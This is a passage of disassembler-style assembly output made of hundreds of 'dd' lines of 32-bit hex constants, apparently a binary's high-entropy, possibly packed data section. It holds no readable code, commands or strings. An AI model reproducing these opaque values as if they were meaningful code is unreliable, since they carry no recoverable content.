6B95AC08h, 0C0FA65DDh, 0BE3BE95Ch, 75522FB6h dd 0C525EDEEh, 8B9A6558h, 0C3B9579Fh, 0D993A4Dh, 11714831h dd 8571EA2Eh, 7D8168BBh, 824D91EDh, 77353076h, 0AADBAF13h dd 0F15382A4h, 9742312Eh, 5921D881h, 0DEECFC27h, 1A026939h dd 34223302h, 7B98FD32h, 0F2BB030Bh, 0D6DDE989h, 0D1B90125h dd 707ABA04h, 0F91B1E0h, 743D2101h, 853B093Fh, 6042CEA4h dd 2ECFBEDAh, 0B8584B5Dh, 68004B7Eh, 8440A3E6h, 86D29744h dd 8007C604h, 50D4780Bh, 6E55F780h, 12234821h, 99F9B925h dd 449C7BA5h, 0A5A6A1FAh dd 21CFD596h, 0E143B24h, 7B4A7C3h, 2B0DBF90h, 70253D2Eh dd 57727D16h, 0C300AAD6h, 3CCC853Dh, 4FDBB031h, 66ED0B8Ah dd 8CDF6755h, 0E51144CCh, 655D17B0h, 0DBEF4A95h, 0AEE9097Ch dd 502F1877h, 0B8DC5FB4h, 0EC057342h, 0FBB75303h, 0B20BEDCBh dd 99DF66C8h, 3F4932h, 55B50553h, 0F2F43809h, 0C12A404Ch dd 7E6C4C0Fh, 498242h, 4453972Dh, 0BC46F4Ah, 33010713h dd 18D408A3h, 0BF147D60h, 0C1074325h, 0ED51E80Fh, 0B0B2FB2Fh dd 2741655Dh, 830B1FDEh, 85C5F5B8h, 89AC5208h, 66FD5DEEh dd 0A9C61CF2h, 84CCD7DEh, 0B3B0AE83h, 0EE784A40h, 9EC5DD9h dd 0B7A3B703h, 0F493FE88h, 0FCA5CBDAh, 0C1BF675Ch, 0C6FF7BC1h dd 941345FDh, 722A97FDh, 4E998010h, 143A0115h, 0C5EAB4BFh dd 4BE2BEBh, 0D8B9937Ch, 0D17B882Bh, 242EF949h, 9370965Ah dd 382D481Ah, 1D694F3Bh, 0D98980DFh, 0FA71B050h, 0AF9E5F5Bh dd 97098D5Eh, 845DDC8Dh, 0F2DA2051h, 52508C50h, 0EF6A99B5h dd 40976ECDh, 9F38E48Fh, 2B0C1960h, 13D9357Ah, 0DDC14CE9h dd 0B8C96B0Ch, 5E21822Eh, 58C0D657h, 6F5438E9h, 4EBA4B1h dd 3483ECABh, 0C417119Ch, 98D56EEh, 9BD779D1h, 7EBC9FEh dd 680B1A73h, 0A75E34AFh, 53FB75DAh, 5096E068h, 7FB0CDEAh dd 9ACB24B9h, 0D9B155A0h, 1262EB80h, 77281906h, 6BB108Eh dd 1E7966DAh, 21E90206h, 5E5F16E5h, 0C19B4001h, 47F52263h dd 0C774ABDh, 1EFA0C08h, 0C9695914h, 9CFFABDAh, 9FF4326Eh dd 0E67D4356h, 5D64F837h, 9307B783h, 358D1F01h, 18CCCEC7h dd 6899B33Dh, 0FC534C0Ah, 122156CFh, 2E5CB131h, 88192BDh dd 6B3FFCE9h, 557A4FB6h, 192C8F66h, 40B5F5B7h, 277235EDh dd 82F429D8h, 0DFC7E295h, 5569DFFBh, 8B672859h, 30345D79h dd 0C9216825h, 0C27EA833h, 0B27566B3h, 8224F193h, 677A5105h dd 0AFB20F5h, 0EC37255Fh, 6B930CF3h, 670C1673h, 77132417h dd 0D7E938C0h, 0FE71C584h, 3AFB9957h, 0BF4BB58Fh, 0A099F29h dd 0E3667820h, 0B5AAD22Fh, 81CAF3FDh, 83CB5DBEh, 33072BF0h dd 7D6E8950h, 26A2F36Ah, 534EA6D8h, 190064ECh, 0E581149Fh dd 0D2C36440h, 0CF01ED83h, 0DAB28A37h, 0A92EC1A1h, 89B24E03h dd 0E8010E48h, 5D5644C1h, 0AC2011D3h, 0DE4717E1h, 1141AF7Fh dd 5B2603EDh, 1065C1FEh, 0CB8BA67Fh, 58C14650h, 53109801h dd 478F0FAAh, 6D990640h, 0FBBD047Ch, 0BA341408h, 3E8604E2h dd 0BF051041h, 44E72EA4h, 42871DFBh, 0FA0102E3h, 77492554h dd 5D0A2282h, 107B8807h, 0B6332AEFh, 0D0B1819Eh, 3F891141h dd 42805C12h, 0E6B5C780h, 28102DF7h, 33B78B77h, 0F7075A74h dd 5C64BD1h, 0A5422086h, 1A98D6BFh, 0AFDDE129h, 399F2C25h dd 0F281024Ah, 464E2CEBh, 61319078h, 805A55B2h, 0F6C04BE0h dd 0F7F69D06h, 529FEFACh, 71F3AB96h, 0C4E4F25Eh, 0CBC6CEBh dd 476FEC4h, 38BB505Bh, 7DE619D6h, 0B55B831h, 26BB0E9h dd 28BFB354h, 0E21A01F5h, 10CFC066h, 7C748F98h, 67646813h dd 651756CCh, 84F71169h, 40F3F4A3h, 742F739Ch, 5636514Bh dd 0C25066ABh, 8E413BA8h, 0C901C6E0h, 0C4DDD7D4h, 0A59B2026h dd 58C20914h, 12C500A9h, 43681FE8h, 1C59C948h, 0F1F520F7h dd 713C2E20h, 59580151h, 6D255A35h, 2E12E1Bh, 59F403E0h dd 520F256Bh, 0EE36C546h, 2D08BE50h, 9228E558h, 0AA23576Ah dd 5325949Bh, 0C8E8F6F4h, 6058A53Dh, 2F70C76Bh, 0EB030BB1h dd 0A4FC4840h, 0FE992DF5h, 516D0500h, 2AE9A5D4h, 0A09B4225h dd 5F3509DFh, 6A18B5B6h, 844DE709h, 0C316A62Fh, 5DCA55ACh dd 6F19C6Ah, 5C0542h, 0FE5433BAh, 4F502EC4h, 116D680Bh dd 0F112CB28h, 31002B41h, 0DC3A4AC7h, 7F2BD4Bh, 0A8050883h dd 165F7E6Eh, 0D44C90AEh, 3F76BF3Eh, 8094F53Ch, 0EF017974h dd 978F70E9h, 0CD9246FEh, 0F3AA7FC4h, 4A14C9F7h, 219485E9h dd 97E8C7D5h, 0BBBE610h, 0E1D15Ah, 546E94A7h, 0B1315A4Ah dd 5D97D9Bh, 0BB2A6496h, 8948C44Fh, 1375CD0h, 0D12D1135h dd 0CDF9CC47h, 0BBDECF8h, 0B28B7DD9h, 776AAB5Eh, 654AE225h dd 2D15BF75h, 0B5076057h, 2E525181h, 7877DEA9h, 3FFA5872h dd 8F052827h, 4C1B8143h, 0C8680041h, 3CE29321h, 6EA43202h dd 0FA63C583h, 0C1AB7E98h, 0C27C35B8h, 59F8769Dh, 66F7DE68h dd 0B850075Ah, 7B7B74D4h, 803AC8DCh, 9DBA6073h, 9D4BF806h dd 1C208D4h, 10F657C2h, 0BE00F6C4h, 21F05FCh, 0EDAD315Eh dd 722818Ch, 0EE0C3265h, 0DFF89A25h, 14561E60h, 0E914167Ch dd 85E320A0h, 0A109FA87h, 0DB9BA2FFh, 9EB3006Ch, 302798B2h dd 1295FDAh, 1D28FA80h, 4820449h, 248205D2h, 0D05605B6h dd 0BC790A63h, 36EC635Ah, 9B380741h, 370F78Fh, 0EB0EE405h dd 7592D250h, 0AE5D0A04h, 1E5FD17Ch, 1302EE83h, 0E030BA34h dd 956A18E9h, 82242A59h, 35C9B412h, 65229540h, 0F86F5E16h dd 6282505Ch, 0BDEE6A44h, 7F4108CAh, 5459F4CEh, 0F5F8685Fh dd 0D3BFB95Eh, 9933500Ch, 96BEEED6h, 0BFF42D9Dh, 88BF57C3h dd 162CDA4Bh, 0FF5FF921h, 2264A301h, 892419EAh, 1023022Dh dd 0D8295675h, 0ABC2335Eh, 0C47F0B9Ch, 2A29C17h, 50093880h dd 550B8955h, 0F1213981h, 70F705Eh, 121C5EBFh, 0B9FB8056h dd 8E2F36EDh, 80A2D46Ah, 0FBCC75C2h, 0DC0B0532h, 66CCE67h dd 97C87D90h, 560024BEh, 7962CDBEh, 0B874E38h, 0D76BE9FEh dd 5B1C9152h, 0FAED724Bh, 0ED037B45h, 6A7BCD52h, 8218798h dd 0FEBFEF82h, 0D15F6932h, 10D7CBD1h, 8369225Ah, 1EB5C65Bh dd 0B1B144ECh, 0EB813EEEh, 15EA4E27h, 0F9CDA05Fh, 24AE6933h dd 0E684B429h, 84BBD4EBh, 0C26FF7E7h, 75ADF6E9h, 0AE0BA5D9h dd 6F39D620h, 4BB3E324h, 6245F5EBh, 0C300C79Ch, 0F67EB450h dd 940995D4h, 0BDA266DFh, 0B519508Ch, 0C5FE7E17h, 7910EEB8h dd 7B5F2517h, 52EA17D0h, 572F079h, 0E07411EEh, 1F5C2BFh dd 4260E907h, 238C473Eh, 0EA663458h, 0BBFBF88h, 74332BA5h dd 98270AF4h, 0A9F499C2h, 0EC3BEB9Dh, 70C0B768h, 0A91AEF0Eh dd 844C3C1h, 3AE7E80h, 20A1B05Dh, 8102E4F8h, 4F3FDFE2h dd 0A0E58376h, 19DF0C8h, 65ECC5FAh, 9DA7BEABh, 4706CF4Dh dd 0FA196312h, 1D90925Bh, 7BD472D8h, 0BFF96B6Ah, 0B12018FAh dd 0FA525F3Ah, 4280B83Dh, 72941460h, 1309C981h, 799527h dd 4365EFFDh, 0E49630Bh, 0D5F762A3h, 14F5E029h, 0E1D38A67h dd 369A044Eh, 201AF580h, 0FC784902h, 0D243BE00h, 0E9CB312Fh dd 51E0F027h, 54520B63h, 1EA492D9h, 0D909F41Ch, 80A8002Ch dd 244F037Dh, 89E976E9h, 7B89D830h, 897D1D42h, 6DEA59D5h dd 3EF62EA5h, 62BE414Eh, 3E72A971h, 9EB91380h, 8D56248Eh dd 0F152278Dh, 0A5F9013Bh, 0FF6FC202h, 5A210873h, 6FFB6804h dd 0BB7ACCFEh, 25B310Bh, 147F213Fh, 9340621Eh, 50AD384Fh dd 0A8F2CD43h, 0B99EB9Eh, 5F4CAB18h, 4E093550h, 55A0ADE9h dd 0E4F253C4h, 0BE321F4Fh, 155DC41h, 4B0B29BAh, 319F4750h dd 2C283D44h, 0A719106Bh, 0D3E4835Ah, 7D507CC9h, 65723EFDh dd 0B9B85F42h, 12AD5912h, 0C714BA77h, 38784867h, 1E3F1E79h dd 1CF6F312h, 70E8EB00h, 89E93686h, 0CDD1B860h, 58D60F2Ah dd 0AC0F8544h, 18383970h, 482F1A28h, 1074D854h, 67D8331h dd 2E9B79C7h, 2D22090Ch, 1CD5638Fh, 6160951Bh, 993E2077h dd 90EF9D75h, 80576709h dd 0BD5F1159h, 0CA0CC756h, 0E9E65261h, 2543F8F5h, 0AC145954h dd 1FE95109h, 886D6873h, 4A03E4F0h, 93AFA858h, 94689C02h dd 9C3C5933h, 0A014562Dh, 0F52F1FD5h, 0D17E4337h, 8B309D61h dd 3F8E41D1h, 0EE0643FCh, 8305859h, 0DB4B08FEh, 0AA84D8ADh dd 7FB80145h, 6560E501h, 41A55AC8h, 16F18274h, 79006A68h dd 0ED59A12Dh, 5342B744h, 95E0700h, 0FE49E9C2h, 4F354F4Bh dd 59FDC8FAh, 1E81FC9Dh, 0B375EF9Ch, 835AD99Eh, 0F529FD8Bh dd 5478E980h, 60BE4BD1h, 0B5AB5E12h, 7CFA2AD3h, 464DE9E9h dd 305A0B4Dh, 0B51B22FEh, 692578Eh, 0F22C5F84h, 8154776Eh dd 470FBA0Fh, 60454026h, 0ABDD16EAh, 0D00906DAh, 36A4E5E9h dd 39AE6818h, 956CFB71h, 0B20854DBh, 0BB546461h, 188E5580h dd 0E4BFA05Eh, 3133CD81h, 0A36AD222h, 2772080Ah, 78A5FEF4h dd 0D772BDEAh, 24415D24h, 0E495490Bh, 0F46E9091h, 0F367538Eh dd 125BD058h, 0DF91EB90h, 20A7E840h, 0B058A0FCh, 0E8C0169Ah dd 47983506h, 0BBBEDFFh, 68AAB8F7h, 0D7642690h, 0A7501518h dd 2EBC003h, 69AFCB80h, 2E195F41h, 25C950Bh, 9DE2E39h dd 0F8406778h, 675709BAh, 95F3695h, 0EFA07F5Fh, 4FD17E31h dd 0B5C7789Dh, 86E959E0h, 57B79E6Bh, 0C9BB99AFh, 417ACAB0h dd 3FB48A5Ch, 0F317E065h, 4AF15890h, 526DC06Fh, 0BC0B6851h dd 327F301Ch, 66B500F3h, 5A30A38h, 52E9CA89h, 824FE469h dd 0DCD1805Eh, 90071458h, 52663DC5h, 30A4B209h, 0F589E0D5h dd 0FAE917F4h, 1499C21h, 0CD2DCE5Dh, 883E27D7h, 36099479h dd 5E02DAh, 0C3589887h, 2B2D4857h, 0AF16E216h, 0D5FC8AC3h dd 96FB865Eh, 61A70B04h, 2BFFA15Fh, 0D10F08Bh, 5EAC5A1Bh dd 55ED8C97h, 345F10B7h, 3D0181D1h, 425F258Dh, 8C2C905Bh dd 9E89D9Bh, 0C6976E3Ch, 1870F10h, 52C171C3h, 6AED64E9h dd 0E8D7B5ACh, 322C0B66h, 16B926Bh, 1C875F08h, 939DE27Ah dd 41CFBFE4h, 0B5894763h, 0F2319465h, 0D6BFD019h, 5CD390AEh dd 555D3068h, 6C6984C2h, 4BA3CEEFh, 946093ABh, 0D2687716h dd 3CDEF1ACh, 13B46A9h, 3481010Ah, 0C953A31h, 71F7CE21h dd 0DB05B632h, 0AADD7BF3h, 0A24FEF8Eh, 89C90F14h, 0AD80F63Bh dd 0D2A455E9h, 75F0EB44h, 8999C948h, 68617979h, 4B336D18h dd 0FBCBAA4Bh, 305B0B47h, 27CBE967h, 0B56EC082h, 29B22C3Bh dd 800A1DDDh, 0E6811719h, 2C3B2175h, 0BCEE026Eh, 55ACECFAh dd 0EB80CFD4h, 0E9303615h, 0AF819FA6h, 0CEDAF792h, 6C95A78h dd 957BFE05h, 0EA4CB17Bh, 65018304h, 0FE8A8077h, 602A143h dd 0F9AE5305h, 0E916C081h, 547069EFh, 31226055h, 6B8BB6DEh dd 0F6E92D18h, 622D559Eh, 0ECA770F1h, 93401E53h, 0BEE69726h dd 0B239D8D3h, 0F722E086h, 8021490h, 0C405CA10h, 0C051F224h dd 80456910h, 2A2DBF13h, 8FFA9F1Eh, 3341797Dh, 0BD7B99F0h dd 0C80B8EFBh, 69F174B5h, 8A035609h, 8C7A6C1Fh, 171D7716h dd 0F9AC190Bh, 0CC1C0B83h, 0BFECC55Fh, 0A4699224h, 7C2538CCh dd 7EFC5264h, 0D3B8604Bh, 121AB3E5h, 0E0A0DCE9h, 51800025h dd 84350834h, 1B3DAF16h, 64F90B05h, 2F22F4E4h, 3525EF44h dd 43BA560Fh, 0D8AE5B04h, 0DF9428FAh, 5634B803h, 0C4BBECB4h dd 2E58E874h, 3A80BDCh, 0EAF7C798h, 0C68BFC57h, 2E22C0EBh dd 3C77279Ch, 65C115C0h, 0D16070E5h, 0B55E9D40h, 0BF647951h dd 654A09FCh, 0A370BAAh, 80DD025Fh, 1D541A55h, 178A2F88h dd 47240459h, 889BD197h, 931E92E6h, 69A3ADFCh, 8FBD1702h dd 4068283Ah, 552E22h, 0E781274Bh, 460335CFh, 51D7F727h dd 21980295h, 0B56043A3h, 5748565Fh, 33DD04B4h, 80EA45D6h dd 123E259h, 0AF5120F7h, 0A4958254h, 11473Dh, 0AA3ED81h dd 0B8551D6Ch, 12A6B41Eh, 0E4F2A15Fh, 12D7BFBBh, 0E2405FCAh dd 1E616026h, 0F6809EB6h, 725407Ah, 72FD7675h, 1BA0610h dd 33291204h, 4D8BCA31h, 0E9D12103h, 0E2516EBh, 0B47B7AB8h dd 2B923E48h, 4D2AA7D1h, 0B0688294h, 99AF6C02h, 0E3D425FCh dd 6E29582Fh, 998145C5h, 7B0FC658h, 800C4F5h, 0B5609AE9h dd 0B7F43466h, 9FED5AB7h, 0EF7F5AC2h, 496C8C3Fh, 5102E61Bh dd 0CE288AB1h, 6E617559h, 7E01159Dh, 0DE305FB3h, 0F388C06Bh dd 8857AAE9h, 2ED1F30h, 0E9525C93h, 912FACB8h, 96AC1A56h dd 0A08FF414h, 1685352h, 4D411917h, 60DBF75Bh, 0AE3A79A7h dd 30E9BD08h, 0D6CB6D8Ch, 0DB52C72h, 8E641FB0h, 0C96539BDh dd 3925FEC6h, 0FEB60F09h, 74E5EB94h, 0DE63188Bh, 8AF5621Ch dd 263C06D9h, 77ADDC22h, 5FF82990h, 0FA31D183h, 0C0630EE0h dd 1C6CB9E1h, 215C7380h, 4EB74CBBh, 0E23AC214h, 3A6875F6h dd 0F54E3158h, 81AB1534h, 2AD97C02h, 0DBCB3AB8h, 584BAD58h dd 182033F5h, 0EF53C091h, 7B5A15E5h, 0AA880CC1h, 0BD3EC4BFh dd 0DD9B1665h, 0FBAE04AFh, 0AEBD006Dh, 0F83ED37Eh, 63A4A1D5h dd 51CBBE28h, 0F89D0950h, 0C4F197BCh, 0F05457C5h, 0CDCFD3C0h dd 36D66809h, 4E5236F6h, 405B38FDh, 878FAB4Bh, 103C562Eh dd 0D2B21D69h, 0AF9149C9h, 0C166A90Fh, 37F45E0h, 125A7450h dd 0CE510C04h, 94E28805h, 8AB680Bh, 9E93269Ah, 0C60AA292h dd 4B12B08h, 845BDD31h, 0E256FB47h, 11CBC21Dh, 2FDFAD4h dd 6744BB53h, 5AD861EFh, 43FC64A0h, 45FB14D6h, 946BA44Ah dd 4FEBECEEh, 2F7DFCB9h, 34558870h, 84464B1Ch, 9F0BFEB7h dd 4C9770B1h, 9D28258h, 18DFB3DAh, 80E8DFBEh, 68045755h dd 5FD30D1Ah, 0DB9F67EAh, 56E97F22h, 5A17E274h, 0FE05DE28h dd 0D7975E02h, 0ADBD689Fh, 7D6E890Dh, 0CF24EF9Ch, 92A6CD9Ch dd 0DC7DBB0Bh, 0D9057092h, 332F2D01h, 89585B50h, 0CDEB9745h dd 0A1E83EDAh, 2F55D0A1h, 0BD9C9666h, 0BA2D3964h, 0A71AC9C8h dd 0B9C3012Fh, 69B62A06h, 0F0331B7h, 0C587CF01h, 31545159h dd 2A56C968h, 0DC41E7CBh, 3169B57Ah, 908ADC49h, 0E617C3BAh dd 0EAA8F708h, 8B2BAC06h, 0D8380C68h, 0F844255Eh, 554A01CAh dd 0CF5FA1BDh, 0F7172E28h, 404ECDD0h, 0D79B4F85h, 1274C440h dd 10C22099h, 479C5DAFh, 0A325878Ch, 7AB807EFh, 6F29615Bh dd 0B7F071ABh, 774E6874h, 0BE5392h, 4849CA81h, 62F93Bh dd 5CA872EAh, 16D32994h, 0B9A43FE9h, 166C58Bh, 8F6F4008h dd 0C9537B68h, 7FA0416Ah, 48482308h, 5F10592h, 38B11B19h dd 86AE856Ah, 862D9DC5h, 4EDA1850h, 4C108363h, 87009956h dd 2F281FAh, 2E017D58h, 3EEB6850h, 1E49C97h, 0E806D7C2h dd 6E721316h, 0AEA395FFh, 0A0C14FD7h, 6828069Eh, 186D710h dd 1B0830BAh, 3EA0316Ah, 0AC270FC6h, 0EE214332h, 495F15E9h dd 7659CD4Fh, 7D03932Ah, 0AA38647Bh, 40650CDh, 5C4D4805h dd 1092BD69h, 0EC5F29A8h, 0B3B18D3Ah, 891E8F2Ch, 41808CF2h dd 2D07D027h, 77405F59h, 0AE7F2950h, 6903B011h, 725CE9C5h dd 8412E50Eh, 47E83FBDh, 0FB9BF44Bh, 0FCEEFD1Eh, 3749EB57h dd 6F52DE76h, 0F4989904h, 0AD5E2C10h, 0D8EAAD25h, 14A210Dh dd 3FE64540h, 0B02DCC45h, 0A5B1C6Ch, 0BF29D3AEh, 723F3F31h dd 9ADF69A5h, 0D405F7Ah, 265A7C68h, 0F260FF8Ch, 4029FAA1h dd 4A09E2C2h, 75610A3Eh, 1B6BC003h, 0C4018B16h, 0D8385356h dd 0B822D2C1h, 61EF4AEDh, 7C54A8CFh, 1AA29387h, 5665FAD7h dd 0B8000AE3h, 5AC64F71h, 15735CBDh, 63F8194Eh, 0E24EC242h dd 45E4873h, 0B0643D8h dd 3396B680h, 0CA42690Dh, 0F4C11E0Dh, 841E0BC1h, 0CCC914B6h dd 0BC91F9B1h, 28054826h, 49D90FEDh, 0DF096BCFh, 0ABE96D21h dd 0DF416F76h, 0E98632Bh, 12977620h, 0EB7C2960h, 2A6F0E01h dd 8D00611Ah, 1F4CDDAFh, 12658CEh, 77079F68h, 0C4BB5D3Fh dd 0B8504D00h, 6F25AC75h, 78A6E925h, 4ECCBD74h, 8858B301h dd 0DD045BD9h, 493A873Ah, 0B33196FDh, 2DE905C8h, 21F2EFFAh dd 0E7F55E25h, 94F72D78h, 62843237h, 5FC44A10h, 2F3D6036h dd 99DE9722h, 2039BA26h, 0F1092466h, 0E24E13FEh, 34D09FA7h dd 0E82910h, 0E1C0C9FEh, 0F8D1F606h, 975092CAh, 0AFFB9204h dd 8BEB7517h, 74F31024h, 8472854Bh, 0F8A1AF03h, 897D0CA5h dd 1474DC04h, 0C95016EFh, 7FA4A229h, 53A68220h, 16957F07h dd 327795A4h, 896B43C9h, 0E93E793Ah, 0C3815F18h, 0E60706Fh dd 809A40EBh, 6C220EAh, 0E2C3287Ch, 8D0ADD3Dh, 9CD5A574h dd 6E769546h, 26A41E6Dh, 847D09B3h, 0C791935Dh, 0D70B1407h dd 9AFA0814h, 0F9BFC3B2h, 45556BE8h, 0C740AD9Fh, 165435E9h dd 595ECAC1h, 5B4CCDA6h, 0F93E33Ch, 81981A65h, 3B0DE261h dd 5F854B44h, 82405F99h, 98651340h, 7D5A2784h, 6B14BBDBh dd 5EF185A6h, 2C8C8A2h, 0F020A2CBh, 80855E62h, 8B569B4h dd 0B90ECB81h, 0CE457E5Fh, 0C26E02F3h, 6FE5F5Eh, 2639F201h dd 6D20703Ah, 76489FF1h, 2924E444h, 2FBF2597h, 34C4407Ch dd 81FD953Fh, 3BB75395h, 1257A62Eh, 33A85C33h, 2AC7B4A1h dd 93107EE2h, 71F85AA4h, 6704235h, 0C306B06h, 0E2CB660Fh dd 0B2ED44D4h, 53AFB4FEh, 37575Ah, 7E1ED306h, 0C0EA2F54h dd 405DBAD5h, 273B8480h, 0D2D27E20h, 278026Bh, 5CA9ECD3h dd 0A87A50A2h, 5C99E8BFh, 3D3E2437h, 5AA310BCh, 13E748B0h dd 106F443Ch, 0FF27C9CDh, 0C8639259h, 0C5613B62h, 8A50582h dd 0FDC1E801h, 5F640227h, 729792F0h, 86816CCh, 948C6754h dd 0EB92985Fh, 5A175EB5h, 25EB6F5Dh, 2775EC75h, 9B4458D1h dd 2B711B1Eh, 16F1E8DDh, 0C7DD05B0h, 0E06F5F65h, 4D000AA3h dd 7D2D6FD6h, 0BF0879D5h, 0F975B589h, 0D8290B4Dh, 0C611CFDh dd 5EBC14Bh, 300002C0h, 6A2DF907h, 0C22E2C18h, 3FC5E938h dd 0C7C17590h, 9BB22328h, 86D089Dh, 47D71C31h, 0CF6B50E5h dd 0F82F7E02h, 9DB055B7h, 0CA398852h, 92D1BA51h, 0E920870Ch dd 97AF0FE9h, 2DC54759h, 0E684A8BCh, 5234000Ah, 1D58C728h dd 8943F780h, 0F9875BF8h, 0F9B2D253h, 5041FD71h, 0AC2BD088h dd 11E250Ah, 39F8BE3Fh, 4CF737F4h, 0A51039D6h, 0F0292D99h dd 7F49BDF7h, 89A17F5Ah, 90029330h, 0F1140B2Ch, 0F484E090h dd 64DBE382h, 71940C48h, 48426972h, 50118DBCh, 0BA3CD4Fh dd 2916D01Dh, 407F688h, 0FC1E1BE9h, 0A3BEE403h, 13EE1852h dd 18C8BD16h, 6043877Eh, 5E27676Dh, 0A006FE7Bh, 0CAD4A008h dd 6F3E02AFh, 63E1E90Dh, 2FD0E555h, 2A729691h, 0B64F60DAh dd 0FD71D388h, 0FE059FA6h, 69A6D716h, 925FC99Fh, 0E4783FD4h dd 0EF11CC8Dh, 517C5DB1h, 5FC24830h, 7A2D75E5h, 1538F30Bh dd 6F775E3Ah, 0BD405745h, 0B9148ECh, 0A2B87FF5h, 1DE9EEC1h dd 3A412F9Ah, 33B262B6h, 200A016Fh, 0F47BF230h, 340032E2h dd 834A2F9Ch, 2D6801EAh, 2FB6B82h, 5C94216h, 9A61DEE0h dd 7EB31BDh, 0E9287650h, 7E36F94Fh, 565AD307h, 14C3E273h dd 7F6314CDh, 9097588Eh, 0B55B3AECh, 0B9517800h, 35643779h dd 30F17781h, 0CFCEBA28h, 0B15E52E9h, 5AC9A0E8h, 96C8CE55h dd 16173F7Dh, 2C04E382h, 18113FB1h, 417DBF02h, 7E40951Ah dd 862D174Dh, 852A876h, 0B1E95F05h, 0BF74FA4h, 532C663Eh dd 259E8F5h, 832D0440h, 0BED5770Fh, 0EF2F8EB8h, 0E985C77Ch dd 6DEA622Ah, 5A3E6095h, 0DCF7D2A8h, 0A4187A14h, 0F802169Dh dd 0F25135AEh, 561710B8h, 8027B01Eh, 2CF5344Bh, 0B67252C0h dd 51C58B7h, 0FE58C120h, 5292FAC9h, 0A399E122h, 0DFD1E3F6h dd 0D3F1003Fh, 0E059CF88h, 0B84990FAh, 0B45597E5h, 209A9A84h dd 0C097B63Fh, 2CF41496h, 9508941h, 0C0688855h, 6880EBD6h dd 0BF147066h, 56D9B9FCh, 1768E86Bh, 0B44EDAE9h, 4026C3BEh dd 18A9D112h, 5596F307h, 24D582Dh, 0FC0F44FCh, 7F804999h dd 416304Fh, 0B2905B5Ah, 2D8274EBh, 0C3D420B1h, 42A6C581h dd 9531635Ch, 0E8EA7954h, 0B82EAD15h, 41A0CB75h, 852051E7h dd 2E677DBDh, 8B798928h, 0D3CE551Ch, 7E6061F6h, 0BCF9C117h dd 0AF4D4E51h, 0BD2E4DC9h, 0D6E9CB6Dh, 0D243AD91h, 62BE01C1h dd 1E9904BEh, 0BDAA63EAh, 0A3620744h, 0EE649137h, 297BE0AEh dd 78E9DE1Ch, 1644E467h, 0FADF0159h, 0A2BF5FD4h, 71D81868h dd 1E08BA72h, 8C351613h, 46143BDFh, 38F78732h, 974E465h dd 3CC1599Ah, 63C6EA01h, 84AE60DDh, 0D5FFD04Bh, 82EFEDFEh dd 7839E9F9h, 0F6801CC0h, 3D60245Bh, 16FE639Ah, 0CB4B207Fh dd 605B67F3h, 52DA0C68h, 7A9B0318h, 0DC16DEB7h, 0A6EB4C6Fh dd 0C01CA620h, 96FF05E1h, 0FB1F8007h, 0FC354B8Bh, 655D9385h dd 2D48A2F1h, 9FF958B2h, 6470C174h, 5D8F2E56h, 0BC0E253Bh dd 0EF873444h, 486EE2Ch, 31534370h, 0DE8DFA7Ch, 0E9571E85h dd 81844574h, 0E67EA5C7h, 49D453FDh, 0C054008Ah, 4C464032h dd 193CABFh, 727FE908h, 96C55D81h, 7A3DE866h, 0F3F5D241h dd 17A1869h, 551DF4FAh, 5DB56004h, 757F2BFh, 4762118Bh dd 0E9D1C15Eh, 665181CDh, 556146B8h, 0C2C5B530h, 1AE9EA06h dd 557411CAh, 214B5B02h, 9C3770Eh, 96F64484h, 8BD164E3h dd 74C4E909h, 2D71DB77h, 0DFCB9171h, 2C74681Ch, 8DFCDBB5h dd 2854C9A1h, 208A9E80h, 5E005815h, 28EB1D2Dh, 2D7FB8C2h dd 0E22FDDBDh, 560CDF6Ch, 960968FAh, 454E9E04h, 90F2654h dd 50074007h, 80F2232h, 0EE7482E2h, 539609h, 0FC212498h dd 0FDE0BF2Bh, 5B67D831h, 74A34EC8h, 9732322Fh, 0A631CA3h dd 0A9F6BA8Dh, 7B74A193h, 82BB9365h, 330A2EA4h, 1747510Eh dd 241CCBBFh, 2316AF58h, 47D83AACh, 0F730E902h, 108882E6h dd 5BBAF058h, 9E54FD63h, 5F7E778Dh, 1210C36Eh, 8F5E4313h dd 0B4FCAFAh, 259BA4E9h, 6F815091h, 0EE0452A8h, 9EB55F16h dd 134E1CD4h, 0E513BA0h, 0DAE623F0h, 42206417h, 0B1435AA2h dd 9403A0E4h, 2809271Ch, 1E60C190h, 0A1BAD7E3h, 88DA2926h dd 3896C214h, 62EF1387h, 0DC9F0F09h, 0DB5F4904h, 0DE96172h dd 486C9DF0h, 0CB42C796h, 0C129F580h, 0F431ECB6h, 0DD5CDF93h dd 1CC86B78h, 0BFF3D42Fh, 16DAD404h, 0F3CEBB5Ah, 0F714EF49h dd 8410E5D3h, 0A1295877h, 0FA2FB195h, 0CB084924h, 6E7D2502h dd 16DC0289h, 440154AAh, 58B1AFDh, 0BAFD580Ch, 0F260E9E0h dd 0EBD8D4B7h, 29C7915Fh, 0CE6FD708h, 0FE3B8028h, 1D8F6C8h dd 32045F34h, 0C3E9C380h, 529D1D9Dh, 0C695A958h, 0EBB45BAh dd 0FD1B32EAh, 232C0C58h, 8913E617h, 6AC6AAC1h, 71840F00h dd 7324335Ah, 0ABAF198h, 608C3149h, 0DF038579h, 4C8D206Ch dd 2511AC36h, 0C905429h, 1B120D48h, 9629AA4Fh, 0BAFC76F0h dd 7A622C7Ch, 1722CE02h, 0F7E0463Ah, 0B93A7DCBh, 10C0D872h dd 0B003618Dh, 4E8C006h, 92E1408Ah, 7F2E6180h, 6420F1ECh dd 0D6C68127h, 0CE018F0Ch, 0F7A9E7A4h, 5254C99h, 117532DFh dd 840AAEDh, 975D49E9h, 50EE3A75h, 2EBC97F6h, 0ED777EAAh dd 80E9840Ah, 0FC309878h dd 2F7A6609h, 0BF1E775Dh, 2761CCBFh, 0F5C858C0h, 5782FEA5h dd 627DA409h, 5ED642C8h, 45BB1E55h, 0EC01E064h, 50878956h dd 5F070B42h, 4725CEBAh, 55A0B0D9h, 0BB4F6BECh, 805A64EAh dd 0BF236ED3h, 0CE812001h, 26B760E7h, 1FDEC630h, 377B855h dd 7F1652E6h, 0BE0CF476h, 0CC502D53h, 0FB0126F0h, 5EF10185h dd 4E1C4F09h, 0B43A2A8Fh, 26BB0EB4h, 17370030h, 17B50789h dd 710D2502h, 897D49B6h, 2B79D72Eh, 0BF12552Dh, 0B13E35Eh dd 8CB64880h, 0D3CE2E80h, 28250BABh, 6844E0DDh, 30E6972Ah dd 51DCB205h, 0CD947CE9h, 0C08A09CDh, 28F5954h, 64827B96h dd 0E92AC0FDh, 3000BD05h, 3310422Dh, 0F829381Eh, 67F807E8h dd 40580871h, 4C845AE2h, 8B93E7AAh, 8A02D6E9h, 8988F58h dd 